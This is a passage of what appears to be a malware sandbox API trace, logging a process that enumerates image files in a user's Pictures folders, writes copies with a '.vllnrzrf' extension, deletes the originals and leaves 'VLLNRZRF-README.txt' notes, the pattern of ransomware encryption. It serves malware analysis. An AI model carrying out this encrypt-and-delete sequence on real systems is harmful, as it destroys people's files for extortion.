ftLastWriteTime.dwHighDateTime=0x1d5df00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kv2m", cAlternateFileName="")) returned 1 [0117.343] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1cd2e1d0 | out: lpFindFileData=0x1cd2e1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0bf110, ftCreationTime.dwHighDateTime=0x1d5d97c, ftLastAccessTime.dwLowDateTime=0x416a2a80, ftLastAccessTime.dwHighDateTime=0x1d5e006, ftLastWriteTime.dwLowDateTime=0x416a2a80, ftLastWriteTime.dwHighDateTime=0x1d5e006, nFileSizeHigh=0x0, nFileSizeLow=0x12c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="qlJ8L QWgwe.bmp", cAlternateFileName="QLJ8LQ~1.BMP")) returned 1 [0117.343] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1cd2e1d0 | out: lpFindFileData=0x1cd2e1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5f051f0, ftCreationTime.dwHighDateTime=0x1d60166, ftLastAccessTime.dwLowDateTime=0xb5f051f0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xb5f051f0, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x5f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="VLLNRZRF-README.txt", cAlternateFileName="VLLNRZ~1.TXT")) returned 1 [0117.344] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1cd2e1d0 | out: lpFindFileData=0x1cd2e1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5033e0, ftCreationTime.dwHighDateTime=0x1d5deda, ftLastAccessTime.dwLowDateTime=0x94bf23b0, ftLastAccessTime.dwHighDateTime=0x1d5dbac, ftLastWriteTime.dwLowDateTime=0x94bf23b0, ftLastWriteTime.dwHighDateTime=0x1d5dbac, nFileSizeHigh=0x0, nFileSizeLow=0x3e4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="xcl5KrYSwmP.gif", cAlternateFileName="XCL5KR~1.GIF")) returned 1 [0117.344] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1cd2e1d0 | out: lpFindFileData=0x1cd2e1d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0117.344] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0117.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cd2e430) returned 1 [0117.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cd2e3f0) returned 1 [0117.345] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\7KY-6GxzT4E7TIrF78.bmp", nBufferLength=0x105, lpBuffer=0x1cd2def0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\7KY-6GxzT4E7TIrF78.bmp", lpFilePart=0x0) returned 0x51 [0117.345] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\7KY-6GxzT4E7TIrF78.bmp", nBufferLength=0x105, lpBuffer=0x1cd2def0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\7KY-6GxzT4E7TIrF78.bmp", lpFilePart=0x0) returned 0x51 [0117.345] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\7KY-6GxzT4E7TIrF78.bmp", nBufferLength=0x105, lpBuffer=0x1cd2def0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\7KY-6GxzT4E7TIrF78.bmp", lpFilePart=0x0) returned 0x51 [0117.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cd2e3d0) returned 1 [0117.345] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\7KY-6GxzT4E7TIrF78.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\7ky-6gxzt4e7tirf78.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x498 [0117.345] GetFileType (hFile=0x498) returned 0x1 [0117.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cd2e340) returned 1 [0117.346] GetFileType (hFile=0x498) returned 0x1 [0117.346] GetFileSize (in: hFile=0x498, lpFileSizeHigh=0x1cd2e568 | out: lpFileSizeHigh=0x1cd2e568*=0x0) returned 0xdbd4 [0117.346] ReadFile (in: hFile=0x498, lpBuffer=0x222dfa8, nNumberOfBytesToRead=0xdbd4, lpNumberOfBytesRead=0x1cd2e498, lpOverlapped=0x0 | out: lpBuffer=0x222dfa8*, lpNumberOfBytesRead=0x1cd2e498*=0xdbd4, lpOverlapped=0x0) returned 1 [0117.347] CloseHandle (hObject=0x498) returned 1 [0117.357] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\7KY-6GxzT4E7TIrF78.bmp.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cd2def0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\7KY-6GxzT4E7TIrF78.bmp.vllnrzrf", lpFilePart=0x0) returned 0x5a [0117.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cd2e3d0) returned 1 [0117.357] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\7KY-6GxzT4E7TIrF78.bmp.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\7ky-6gxzt4e7tirf78.bmp.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x498 [0117.358] GetFileType (hFile=0x498) returned 0x1 [0117.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cd2e340) returned 1 [0117.358] GetFileType (hFile=0x498) returned 0x1 [0117.358] WriteFile (in: hFile=0x498, lpBuffer=0x227b098*, nNumberOfBytesToWrite=0xddd4, lpNumberOfBytesWritten=0x1cd2e4f8, lpOverlapped=0x0 | out: lpBuffer=0x227b098*, lpNumberOfBytesWritten=0x1cd2e4f8*=0xddd4, lpOverlapped=0x0) returned 1 [0117.360] CloseHandle (hObject=0x498) returned 1 [0117.365] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\7KY-6GxzT4E7TIrF78.bmp", nBufferLength=0x105, lpBuffer=0x1cd2def0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\7KY-6GxzT4E7TIrF78.bmp", lpFilePart=0x0) returned 0x51 [0117.365] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\7KY-6GxzT4E7TIrF78.bmp", nBufferLength=0x105, lpBuffer=0x1cd2e090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\7KY-6GxzT4E7TIrF78.bmp", lpFilePart=0x0) returned 0x51 [0117.365] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\7KY-6GxzT4E7TIrF78.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\7ky-6gxzt4e7tirf78.bmp")) returned 1 [0117.369] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\qlJ8L QWgwe.bmp", nBufferLength=0x105, lpBuffer=0x1cd2def0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\qlJ8L QWgwe.bmp", lpFilePart=0x0) returned 0x4a [0117.369] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\qlJ8L QWgwe.bmp", nBufferLength=0x105, lpBuffer=0x1cd2def0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\qlJ8L QWgwe.bmp", lpFilePart=0x0) returned 0x4a [0117.369] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\qlJ8L QWgwe.bmp", nBufferLength=0x105, lpBuffer=0x1cd2def0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\qlJ8L QWgwe.bmp", lpFilePart=0x0) returned 0x4a [0117.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cd2e3d0) returned 1 [0117.370] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\qlJ8L QWgwe.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\qlj8l qwgwe.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x498 [0117.370] GetFileType (hFile=0x498) returned 0x1 [0117.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cd2e340) returned 1 [0117.370] GetFileType (hFile=0x498) returned 0x1 [0117.370] GetFileSize (in: hFile=0x498, lpFileSizeHigh=0x1cd2e568 | out: lpFileSizeHigh=0x1cd2e568*=0x0) returned 0x12c1 [0117.370] ReadFile (in: hFile=0x498, lpBuffer=0x2289b40, nNumberOfBytesToRead=0x12c1, lpNumberOfBytesRead=0x1cd2e498, lpOverlapped=0x0 | out: lpBuffer=0x2289b40*, lpNumberOfBytesRead=0x1cd2e498*=0x12c1, lpOverlapped=0x0) returned 1 [0117.371] CloseHandle (hObject=0x498) returned 1 [0117.375] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\qlJ8L QWgwe.bmp.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cd2def0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\qlJ8L QWgwe.bmp.vllnrzrf", lpFilePart=0x0) returned 0x53 [0117.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cd2e3d0) returned 1 [0117.375] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\qlJ8L QWgwe.bmp.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\qlj8l qwgwe.bmp.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x498 [0117.376] GetFileType (hFile=0x498) returned 0x1 [0117.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cd2e340) returned 1 [0117.376] GetFileType (hFile=0x498) returned 0x1 [0117.376] WriteFile (in: hFile=0x498, lpBuffer=0x2295938*, nNumberOfBytesToWrite=0x14c1, lpNumberOfBytesWritten=0x1cd2e4f8, lpOverlapped=0x0 | out: lpBuffer=0x2295938*, lpNumberOfBytesWritten=0x1cd2e4f8*=0x14c1, lpOverlapped=0x0) returned 1 [0117.378] CloseHandle (hObject=0x498) returned 1 [0117.380] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\qlJ8L QWgwe.bmp", nBufferLength=0x105, lpBuffer=0x1cd2def0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\qlJ8L QWgwe.bmp", lpFilePart=0x0) returned 0x4a [0117.380] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\qlJ8L QWgwe.bmp", nBufferLength=0x105, lpBuffer=0x1cd2e090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\qlJ8L QWgwe.bmp", lpFilePart=0x0) returned 0x4a [0117.380] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\qlJ8L QWgwe.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\qlj8l qwgwe.bmp")) returned 1 [0117.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\xcl5KrYSwmP.gif", nBufferLength=0x105, lpBuffer=0x1cd2def0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\xcl5KrYSwmP.gif", lpFilePart=0x0) returned 0x4a [0117.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\xcl5KrYSwmP.gif", nBufferLength=0x105, lpBuffer=0x1cd2def0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\xcl5KrYSwmP.gif", lpFilePart=0x0) returned 0x4a [0117.384] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\xcl5KrYSwmP.gif", nBufferLength=0x105, lpBuffer=0x1cd2def0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\xcl5KrYSwmP.gif", lpFilePart=0x0) returned 0x4a [0117.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cd2e3d0) returned 1 [0117.384] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\xcl5KrYSwmP.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\xcl5kryswmp.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x498 [0117.384] GetFileType (hFile=0x498) returned 0x1 [0117.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cd2e340) returned 1 [0117.384] GetFileType (hFile=0x498) returned 0x1 [0117.384] GetFileSize (in: hFile=0x498, lpFileSizeHigh=0x1cd2e568 | out: lpFileSizeHigh=0x1cd2e568*=0x0) returned 0x3e4b [0117.384] ReadFile (in: hFile=0x498, lpBuffer=0x2297b08, nNumberOfBytesToRead=0x3e4b, lpNumberOfBytesRead=0x1cd2e498, lpOverlapped=0x0 | out: lpBuffer=0x2297b08*, lpNumberOfBytesRead=0x1cd2e498*=0x3e4b, lpOverlapped=0x0) returned 1 [0117.385] CloseHandle (hObject=0x498) returned 1 [0117.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\xcl5KrYSwmP.gif.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cd2def0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\xcl5KrYSwmP.gif.vllnrzrf", lpFilePart=0x0) returned 0x53 [0117.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cd2e3d0) returned 1 [0117.394] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\xcl5KrYSwmP.gif.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\xcl5kryswmp.gif.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x498 [0117.395] GetFileType (hFile=0x498) returned 0x1 [0117.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cd2e340) returned 1 [0117.395] GetFileType (hFile=0x498) returned 0x1 [0117.395] WriteFile (in: hFile=0x498, lpBuffer=0x22b79e8*, nNumberOfBytesToWrite=0x404b, lpNumberOfBytesWritten=0x1cd2e4f8, lpOverlapped=0x0 | out: lpBuffer=0x22b79e8*, lpNumberOfBytesWritten=0x1cd2e4f8*=0x404b, lpOverlapped=0x0) returned 1 [0117.397] CloseHandle (hObject=0x498) returned 1 [0117.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\xcl5KrYSwmP.gif", nBufferLength=0x105, lpBuffer=0x1cd2def0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\xcl5KrYSwmP.gif", lpFilePart=0x0) returned 0x4a [0117.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\xcl5KrYSwmP.gif", nBufferLength=0x105, lpBuffer=0x1cd2e090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\xcl5KrYSwmP.gif", lpFilePart=0x0) returned 0x4a [0117.401] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\xcl5KrYSwmP.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\xcl5kryswmp.gif")) returned 1 [0117.403] CoUninitialize () Thread: id = 99 os_tid = 0x984 [0117.407] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0117.408] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", nBufferLength=0x105, lpBuffer=0x1c04dd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", lpFilePart=0x0) returned 0x3f [0117.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04e160) returned 1 [0117.412] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", nBufferLength=0x105, lpBuffer=0x1c04dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m", lpFilePart=0x0) returned 0x3f [0117.412] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\", nBufferLength=0x105, lpBuffer=0x1c04dbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\", lpFilePart=0x0) returned 0x40 [0117.412] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\*.*", lpFindFileData=0x1c04de00 | out: lpFindFileData=0x1c04de00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x669d8790, ftCreationTime.dwHighDateTime=0x1d5e301, ftLastAccessTime.dwLowDateTime=0xb5fc38d0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xb5fc38d0, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0117.412] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04de50 | out: lpFindFileData=0x1c04de50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x669d8790, ftCreationTime.dwHighDateTime=0x1d5e301, ftLastAccessTime.dwLowDateTime=0xb5fc38d0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xb5fc38d0, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.413] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04de50 | out: lpFindFileData=0x1c04de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf6de8c0, ftCreationTime.dwHighDateTime=0x1d5e7cf, ftLastAccessTime.dwLowDateTime=0xb89bb010, ftLastAccessTime.dwHighDateTime=0x1d5dc46, ftLastWriteTime.dwLowDateTime=0xb89bb010, ftLastWriteTime.dwHighDateTime=0x1d5dc46, nFileSizeHigh=0x0, nFileSizeLow=0xa573, dwReserved0=0x0, dwReserved1=0x0, cFileName="0CW4UO28R1M_iTm2.bmp", cAlternateFileName="0CW4UO~1.BMP")) returned 1 [0117.413] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04de50 | out: lpFindFileData=0x1c04de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef920f0, ftCreationTime.dwHighDateTime=0x1d5e021, ftLastAccessTime.dwLowDateTime=0x87413e10, ftLastAccessTime.dwHighDateTime=0x1d5e572, ftLastWriteTime.dwLowDateTime=0x87413e10, ftLastWriteTime.dwHighDateTime=0x1d5e572, nFileSizeHigh=0x0, nFileSizeLow=0xaad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="bpNRq7VsU6yD3.jpg", cAlternateFileName="BPNRQ7~1.JPG")) returned 1 [0117.413] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04de50 | out: lpFindFileData=0x1c04de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435a1740, ftCreationTime.dwHighDateTime=0x1d5df90, ftLastAccessTime.dwLowDateTime=0xbd960880, ftLastAccessTime.dwHighDateTime=0x1d5da21, ftLastWriteTime.dwLowDateTime=0xbd960880, ftLastWriteTime.dwHighDateTime=0x1d5da21, nFileSizeHigh=0x0, nFileSizeLow=0x2618, dwReserved0=0x0, dwReserved1=0x0, cFileName="UP0lngE4nme0aSiLIi.gif", cAlternateFileName="UP0LNG~1.GIF")) returned 1 [0117.413] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04de50 | out: lpFindFileData=0x1c04de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5fc38d0, ftCreationTime.dwHighDateTime=0x1d60166, ftLastAccessTime.dwLowDateTime=0xb5fc38d0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xb5fc38d0, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x5f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="VLLNRZRF-README.txt", cAlternateFileName="VLLNRZ~1.TXT")) returned 1 [0117.413] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04de50 | out: lpFindFileData=0x1c04de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28bcecb0, ftCreationTime.dwHighDateTime=0x1d5db34, ftLastAccessTime.dwLowDateTime=0xf42b1440, ftLastAccessTime.dwHighDateTime=0x1d5dad9, ftLastWriteTime.dwLowDateTime=0xf42b1440, ftLastWriteTime.dwHighDateTime=0x1d5dad9, nFileSizeHigh=0x0, nFileSizeLow=0x9ca5, dwReserved0=0x0, dwReserved1=0x0, cFileName="xXRjsU7blEJohAMCZ.gif", cAlternateFileName="XXRJSU~1.GIF")) returned 1 [0117.414] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04de50 | out: lpFindFileData=0x1c04de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b718d0, ftCreationTime.dwHighDateTime=0x1d5e347, ftLastAccessTime.dwLowDateTime=0x1b2ac7d0, ftLastAccessTime.dwHighDateTime=0x1d5ded0, ftLastWriteTime.dwLowDateTime=0x1b2ac7d0, ftLastWriteTime.dwHighDateTime=0x1d5ded0, nFileSizeHigh=0x0, nFileSizeLow=0x83cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="YtGtMf.jpg", cAlternateFileName="")) returned 1 [0117.414] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c04de50 | out: lpFindFileData=0x1c04de50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0117.414] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0117.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04e0b0) returned 1 [0117.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04e070) returned 1 [0117.415] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\0CW4UO28R1M_iTm2.bmp", nBufferLength=0x105, lpBuffer=0x1c04db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\0CW4UO28R1M_iTm2.bmp", lpFilePart=0x0) returned 0x54 [0117.415] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\0CW4UO28R1M_iTm2.bmp", nBufferLength=0x105, lpBuffer=0x1c04db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\0CW4UO28R1M_iTm2.bmp", lpFilePart=0x0) returned 0x54 [0117.415] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\0CW4UO28R1M_iTm2.bmp", nBufferLength=0x105, lpBuffer=0x1c04db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\0CW4UO28R1M_iTm2.bmp", lpFilePart=0x0) returned 0x54 [0117.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04e050) returned 1 [0117.416] CreateFileW 